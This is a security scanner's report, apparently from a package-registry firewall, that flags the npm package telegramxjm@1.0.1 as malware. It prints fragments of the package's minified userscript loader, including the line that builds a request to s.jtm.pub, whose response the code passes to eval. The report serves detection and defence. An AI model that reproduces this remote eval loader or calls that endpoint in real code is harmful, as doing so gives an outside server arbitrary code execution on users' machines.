registry / Remote code execution / telegramxjm
telegramxjm
This report shows the evidence for telegramxjm@1.0.1, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package contains an active remote code loader that evaluates unverified server content. Although it has no npm lifecycle hook, this is concrete arbitrary code execution when the bundled files are loaded in their intended userscript environment.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Loading either downloader file in an environment providing GM_info and GM_xmlhttpRequest.
Impact
The endpoint can run arbitrary code with the permissions of the userscript manager and receive identifying script metadata.
Mechanism
Remote response fetched and evaluated as code.
Attack narrative
When loaded as a userscript, the code collects metadata from GM_info.script, sends it to s.jtm.pub, and passes the returned response directly to eval. This gives the remote service control of executable code in the userscript context. The duplicate loader reinforces that this is intentional rather than an unused library primitive.
AI rationale
The package contains an active remote code loader that evaluates unverified server content. Although it has no npm lifecycle hook, this is concrete arbitrary code execution when the bundled files are loaded in their intended userscript environment.
Evidence
downloader.all.jsdownloader.test.jssp_req_daily
Network endpoints1
s.jtm.pub/api/sp/lib
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- downloader.all.js sends userscript metadata to s.jtm.pub and executes the response with eval.
- The same remote-code loader is duplicated in downloader.test.js.
- The manifest names a missing index.js entry point, so the loader is not a normal usable npm module.
Evidence against
- package.json contains no preinstall, install, or postinstall hook.
- No filesystem, shell, or credential-harvesting code was found in the inspected files.
Behavioral surface
Eval
MinifiedTrivialUrlStrings
Source & flagged code
5 flagged · loading sourcedownloader.all.jsView file
1(function(a,b){if("function"==typeof define&&define.amd)define([],b);else if("undefined"!=typeof exports)b();else{b(),a.FileSaver={exports:{}}.exports}})(this,function(){"use stric...
L2: !function(){try{const DAILY_LIMIT=15,STORAGE_KEY="sp_req_daily";let data;try{data=JSON.parse(GM_getValue(STORAGE_KEY,"{}"))||{}}catch(t){data={}}data.date=data.date||"",data.count=...
L3: //# sourceMappingURL=FileSaver.min.js.map
Critical
Remote Asset Decode Execute
Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.
downloader.all.jsView on unpkg · L11(function(a,b){if("function"==typeof define&&define.amd)define([],b);else if("undefined"!=typeof exports)b();else{b(),a.FileSaver={exports:{}}.exports}})(this,function(){"use stric...
L2: !function(){try{const DAILY_LIMIT=15,STORAGE_KEY="sp_req_daily";let data;try{data=JSON.parse(GM_getValue(STORAGE_KEY,"{}"))||{}}catch(t){data={}}data.date=data.date||"",data.count=...
L3: //# sourceMappingURL=FileSaver.min.js.map
High
2const{author:author,name:name,version:version,namespace:namespace,updateURL:updateURL}=GM_info.script,jurl="https://s.jtm.pub/api/sp/lib?author="+encodeURIComponent(author)+"&name="+encodeURIComponent(name)+"&version="+encodeURIComponent(version)+"&namespace="+encodeURIComponent(namespace)+"&updateURL="+encodeURIComponent(updateURL)+"×tamp="+Date.now();
Findings
1 Critical4 High1 Medium2 Low
CriticalRemote Asset Decode Executedownloader.all.js
HighEvaldownloader.all.js
HighAi Review Evidencedownloader.all.js
HighAi Review Evidencedownloader.all.js
HighAi Review Evidencedownloader.test.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to telegramxjm@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing telegramxjm@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.